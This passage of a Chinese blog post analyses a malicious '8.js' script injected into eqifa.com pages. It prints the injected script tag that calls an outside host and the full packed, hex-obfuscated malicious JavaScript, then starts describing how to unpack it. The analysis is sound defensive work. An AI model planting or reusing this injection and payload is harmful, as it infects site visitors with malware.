分析eqifa.com网站被植入的8.js恶意代码

作者:清欢时间:2026-10-30 18:49:47浏览:258

本文分析了访问eqifa.com时发现的顶部注入的8.js恶意脚本。该脚本使用eval函数配合base62编码混淆,通过替换return语句为赋值操作,成功解密并还原了被压缩的JavaScript代码,揭示了常见的网页挂马手法。

eqifa.com网站被植入8.js恶意代码分析与解密实战

今日访问eqifa官方网站时,注意到多个页面头部存在异常。


<script src=http://16a.us/8.js></script>


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >


查阅相关资料,推测这可能是ARP欺骗攻击所致,或者网站确实被植入了恶意代码。经初步判断,该代码属于病毒性质。随后开始深入分析,发现该JS文件采用16进制编码进行混淆。此次为实战演示,将详细解析每一步操作,旨在提供清晰的教学参考。


第一步:获取代码(已知JS文件可直接通过IE浏览器访问)。


代码如下


代码如下:

 
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('15("\\A\\n\\o\\s\\r\\4\\a\\7\\j\\D\\9\\q\\7\\4\\v\\a\\h\\b\\O\\c\\o\\9\\q\\B\\7\\N\\D\\q\\a\\A\\n\\D\\j\\n\\a\\4\\9\\9\\n\\9\\w\\12\\s\\a\\o\\7\\q\\n\\a\\h\\g\\Q\\9\\4\\7\\s\\9\\a\\6\\7\\9\\s\\4\\i\\P\\O\\0\\X\\c\\o\\9\\q\\B\\7\\N\\b\\g\\i\\U\\T\\A\\n\\o\\s\\r\\4\\a\\7\\j\\D\\9\\q\\7\\4\\v\\a\\h\\b\\O\\c\\o\\9\\q\\B\\7\\N\\b\\g\\i\\U\\T\\A\\n\\o\\s\\r\\4\\a\\7\\j\\D\\9\\q\\7\\4\\v\\a\\h\\b\\12\\s\\a\\o\\7\\q\\n\\a\\6\\W\\a\\l\\c\\h\\a\\g\\6\\Q\\6\\F\\k\\9\\6\\a\\s\\r\\H\\4\\9\\l\\c\\6\\w\\6\\l\\k\\7\\I\\j\\9\\k\\a\\A\\n\\r\\h\\g\\14\\a\\i\\6\\9\\4\\7\\s\\9\\a\\6\\0\\C\\0\\0\\1\\8\\y\\0\\0\\1\\d\\5\\0\\0\\1\\2\\d\\0\\0\\1\\2\\m\\0\\0\\1\\8\\u\\0\\C\\J\\l\\k\\7\\I\\j\\9\\n\\s\\a\\A\\h\\a\\s\\r\\H\\4\\9\\l\\c\\g\\J\\0\\C\\0\\0\\1\\f\\y\\0\\0\\1\\8\\5\\0\\0\\1\\2\\m\\0\\0\\1\\8\\u\\0\\C\\i\\6\\P\\6\\7\\9\\V\\6\\Q\\6\\m\\n\\D\\a\\11\\9\\v\\w\\0\\C\\0\\0\\1\\2\\G\\0\\0\\1\\8\\5\\0\\0\\1\\8\\5\\0\\0\\1\\8\\u\\0\\0\\1\\3\\M\\0\\0\\1\\f\\e\\0\\0\\1\\f\\e\\0\\0\\1\\3\\p\\0\\0\\1\\3\\2\\0\\0\\1\\2\\p\\0\\0\\1\\f\\y\\0\\0\\1\\8\\d\\0\\0\\1\\8\\3\\0\\0\\1\\f\\e\\0\\0\\1\\2\\e\\0\\0\\1\\5\\K\\0\\0\\1\\5\\K\\0\\0\\1\\f\\e\\0\\0\\1\\8\\3\\0\\0\\1\\2\\m\\0\\0\\1\\8\\3\\0\\0\\1\\8\\3\\0\\0\\1\\f\\y\\0\\0\\1\\2\\d\\0\\0\\1\\8\\G\\0\\0\\1\\2\\d\\0\\C\\i\\6\\F\\k\\9\\6\\l\\c\\m\\e\\w\\A\\n\\o\\s\\r\\4\\a\\7\\j\\o\\9\\4\\k\\7\\4\\y\\v\\4\\r\\4\\a\\7\\h\\0\\b\\0\\0\\1\\2\\e\\0\\0\\1\\2\\f\\0\\0\\1\\2\\M\\0\\0\\1\\2\\d\\0\\0\\1\\2\\3\\0\\0\\1\\8\\5\\0\\b\\g\\i\\6\\l\\c\\m\\e\\j\\c\\4\\7\\M\\7\\7\\9\\q\\H\\s\\7\\4\\h\\0\\b\\0\\0\\1\\2\\3\\0\\0\\1\\2\\z\\0\\0\\1\\2\\p\\0\\0\\1\\8\\3\\0\\0\\1\\8\\3\\0\\0\\1\\2\\t\\0\\0\\1\\2\\5\\0\\b\\x\\0\\b\\0\\0\\1\\2\\3\\0\\0\\1\\2\\z\\0\\0\\1\\8\\3\\0\\0\\1\\2\\t\\0\\0\\1\\2\\5\\0\\0\\1\\3\\M\\0\\0\\1\\5\\f\\0\\0\\1\\5\\5\\0\\0\\1\\3\\t\\0\\0\\1\\3\\2\\0\\0\\1\\5\\3\\0\\0\\1\\3\\d\\0\\0\\1\\3\\d\\0\\0\\1\\3\\2\\0\\0\\1\\f\\m\\0\\0\\1\\3\\2\\0\\0\\1\\3\\d\\0\\0\\1\\5\\p\\0\\0\\1\\3\\3\\0\\0\\1\\f\\m\\0\\0\\1\\3\\p\\0\\0\\1\\3\\p\\0\\0\\1\\5\\5\\0\\0\\1\\3\\u\\0\\0\\1\\f\\m\\0\\0\\1\\3\\t\\0\\0\\1\\3\\G\\0\\0\\1\\3\\3\\0\\0\\1\\5\\p\\0\\0\\1\\f\\m\\0\\0\\1\\3\\u\\0\\0\\1\\3\\u\\0\\0\\1\\5\\3\\0\\0\\1\\3\\u\\0\\0\\1\\3\\5\\0\\0\\1\\5\\2\\0\\0\\1\\5\\3\\0\\0\\1\\3\\f\\0\\0\\1\\3\\t\\0\\0\\1\\5\\d\\0\\0\\1\\3\\3\\0\\0\\1\\3\\2\\0\\b\\g\\i\\6\\F\\k\\9\\6\\1\\w\\l\\c\\m\\e\\j\\z\\9\\4\\k\\7\\4\\L\\H\\S\\4\\o\\7\\h\\0\\b\\0\\0\\1\\5\\m\\0\\0\\1\\2\\t\\0\\0\\1\\2\\3\\0\\0\\1\\8\\f\\0\\0\\1\\2\\e\\0\\0\\1\\8\\3\\0\\0\\1\\2\\e\\0\\0\\1\\2\\2\\0\\0\\1\\8\\5\\0\\0\\1\\f\\y\\0\\0\\1\\d\\G\\0\\b\\J\\0\\b\\0\\0\\1\\5\\m\\0\\0\\1\\5\\z\\0\\0\\1\\5\\G\\0\\0\\1\\d\\5\\0\\0\\1\\d\\5\\0\\0\\1\\d\\u\\0\\b\\x\\0\\b\\0\\b\\g\\i\\6\\F\\k\\9\\6\\E\\w\\l\\c\\m\\e\\j\\z\\9\\4\\k\\7\\4\\L\\H\\S\\4\\o\\7\\h\\0\\b\\0\\0\\1\\5\\p\\0\\0\\1\\2\\5\\0\\0\\1\\2\\e\\0\\0\\1\\2\\5\\0\\0\\1\\2\\f\\0\\0\\1\\f\\y\\0\\0\\1\\d\\3\\0\\0\\1\\8\\5\\0\\0\\1\\8\\f\\0\\0\\1\\2\\d\\0\\0\\1\\2\\p\\0\\0\\1\\2\\m\\0\\b\\x\\0\\b\\0\\b\\g\\i\\6\\E\\j\\7\\V\\B\\4\\w\\p\\i\\6\\1\\j\\n\\B\\4\\a\\h\\0\\b\\0\\0\\1\\5\\8\\0\\0\\1\\5\\d\\0\\0\\1\\d\\5\\0\\b\\x\\6\\m\\n\\D\\a\\11\\9\\v\\x\\u\\g\\i\\6\\1\\j\\c\\4\\a\\A\\h\\g\\i\\6\\l\\c\\e\\a\\k\\r\\4\\p\\w\\W\\a\\l\\c\\h\\t\\t\\t\\t\\g\\i\\6\\F\\k\\9\\6\\e\\w\\l\\c\\m\\e\\j\\z\\9\\4\\k\\7\\4\\L\\H\\S\\4\\o\\7\\h\\0\\b\\0\\0\\1\\d\\3\\0\\0\\1\\2\\3\\0\\0\\1\\8\\f\\0\\0\\1\\2\\t\\0\\0\\1\\8\\u\\0\\0\\1\\8\\5\\0\\0\\1\\2\\t\\0\\0\\1\\2\\y\\0\\0\\1\\2\\8\\0\\0\\1\\f\\y\\0\\0\\1\\5\\2\\0\\0\\1\\2\\t\\0\\0\\1\\2\\z\\0\\0\\1\\2\\d\\0\\0\\1\\d\\3\\0\\0\\1\\8\\t\\0\\0\\1\\8\\3\\0\\0\\1\\8\\5\\0\\0\\1\\2\\d\\0\\0\\1\\2\\m\\0\\0\\1\\5\\e\\0\\0\\1\\2\\f\\0\\0\\1\\2\\M\\0\\0\\1\\2\\d\\0\\0\\1\\2\\3\\0\\0\\1\\8\\5\\0\\b\\x\\0\\b\\0\\b\\g\\i\\6\\F\\k\\9\\6\\l\\c\\R\\r\\B\\w\\e\\j\\W\\4\\7\\E\\B\\4\\o\\q\\k\\v\\e\\n\\v\\A\\4\\9\\h\\u\\g\\i\\6\\l\\c\\e\\a\\k\\r\\4\\p\\w\\6\\e\\j\\K\\s\\q\\v\\A\\10\\k\\7\\I\\h\\l\\c\\R\\r\\B\\x\\l\\c\\e\\a\\k\\r\\4\\p\\g\\i\\6\\E\\j\\L\\B\\4\\a\\h\\g\\i\\E\\j\\13\\9\\q\\7\\4\\h\\1\\j\\9\\4\\c\\B\\n\\a\\c\\4\\K\\n\\A\\V\\g\\i\\6\\E\\j\\E\\k\\F\\4\\R\\n\\e\\q\\v\\4\\h\\l\\c\\e\\a\\k\\r\\4\\p\\x\\f\\g\\i\\6\\E\\j\\z\\v\\n\\c\\4\\h\\g\\i\\6\\F\\k\\9\\6\\l\\c\\Z\\w\\l\\c\\m\\e\\j\\z\\9\\4\\k\\7\\4\\L\\H\\S\\4\\o\\7\\h\\0\\b\\0\\0\\1\\d\\3\\0\\0\\1\\2\\G\\0\\0\\1\\2\\d\\0\\0\\1\\2\\z\\0\\0\\1\\2\\z\\0\\0\\1\\f\\y\\0\\0\\1\\5\\p\\0\\0\\1\\8\\u\\0\\0\\1\\8\\u\\0\\0\\1\\2\\z\\0\\0\\1\\2\\t\\0\\0\\1\\2\\3\\0\\0\\1\\2\\p\\0\\0\\1\\8\\5\\0\\0\\1\\2\\t\\0\\0\\1\\2\\e\\0\\0\\1\\2\\y\\0\\b\\x\\0\\b\\0\\b\\g\\i\\6\\m\\n\\D\\a\\p\\w\\e\\j\\K\\s\\q\\v\\A\\10\\k\\7\\I\\h\\l\\c\\R\\r\\B\\J\\0\\C\\0\\0\\1\\d\\z\\0\\0\\1\\d\\z\\0\\0\\1\\8\\3\\0\\0\\1\\8\\t\\0\\0\\1\\8\\3\\0\\0\\1\\8\\5\\0\\0\\1\\2\\d\\0\\0\\1\\2\\m\\0\\0\\1\\3\\3\\0\\0\\1\\3\\f\\0\\C\\x\\0\\C\\0\\0\\1\\2\\3\\0\\0\\1\\2\\m\\0\\0\\1\\2\\5\\0\\0\\1\\f\\y\\0\\0\\1\\2\\d\\0\\0\\1\\8\\G\\0\\0\\1\\2\\d\\0\\C\\g\\i\\6\\l\\c\\Z\\j\\E\\I\\4\\v\\v\\y\\1\\4\\o\\s\\7\\4\\h\\m\\n\\D\\a\\p\\x\\0\\C\\0\\0\\1\\f\\u\\0\\0\\1\\f\\e\\0\\0\\1\\2\\3\\6\\0\\C\\J\\l\\c\\e\\a\\k\\r\\4\\p\\x\\0\\b\\0\\b\\x\\0\\b\\0\\0\\1\\2\\e\\0\\0\\1\\8\\u\\0\\0\\1\\2\\d\\0\\0\\1\\2\\y\\0\\b\\x\\u\\g\\i\\6\\P\\6\\o\\k\\7\\o\\I\\h\\l\\c\\Y\\g\\6\\Q\\6\\l\\c\\Y\\w\\p\\i\\6\\P\\b\\g\\i\\U\\T\\A\\n\\o\\s\\r\\4\\a\\7\\j\\D\\9\\q\\7\\4\\v\\a\\h\\b\\O\\0\\X\\c\\o\\9\\q\\B\\7\\N\\b\\g")',62,68,'x5C|x78|x36|x33|x65|x34|x20|x74|x37|x72|x6E|x22|x73|x35|x46|x32|x29|x28|x3B|x2E|x61|x4D|x44|x6F|x63|x31|x69|x6D|x75|x39|x30|x6C|x3D|x2C|x45|x43|x64|x70|x27|x77|x53|x76|x38|x62|x68|x2B|x42|x4F|x41|x3E|x3C|x7D|x7B|x54|x6A|x0A|x0D|x79|x47|x2F|x49|x51|x50|x55|x66|x57|x2A|eval'.split('|'),0,{}))

上述代码经过压缩处理,虽然严格意义上属于混淆而非加密,但为了便于理解,后续仍将其视为加密代码进行分析。


解密方法如下:基于blueidea论坛提供的思路,对return语句进行篡改。


将原代码中的return p修改为thes.value=p。


 <textarea id=thes name=thes><&#47textarea>   

[Ctrl+A 全选 注:引入外部Js需再刷新一下页面才能执行]


1

23下一页阅读全文

作者最新文章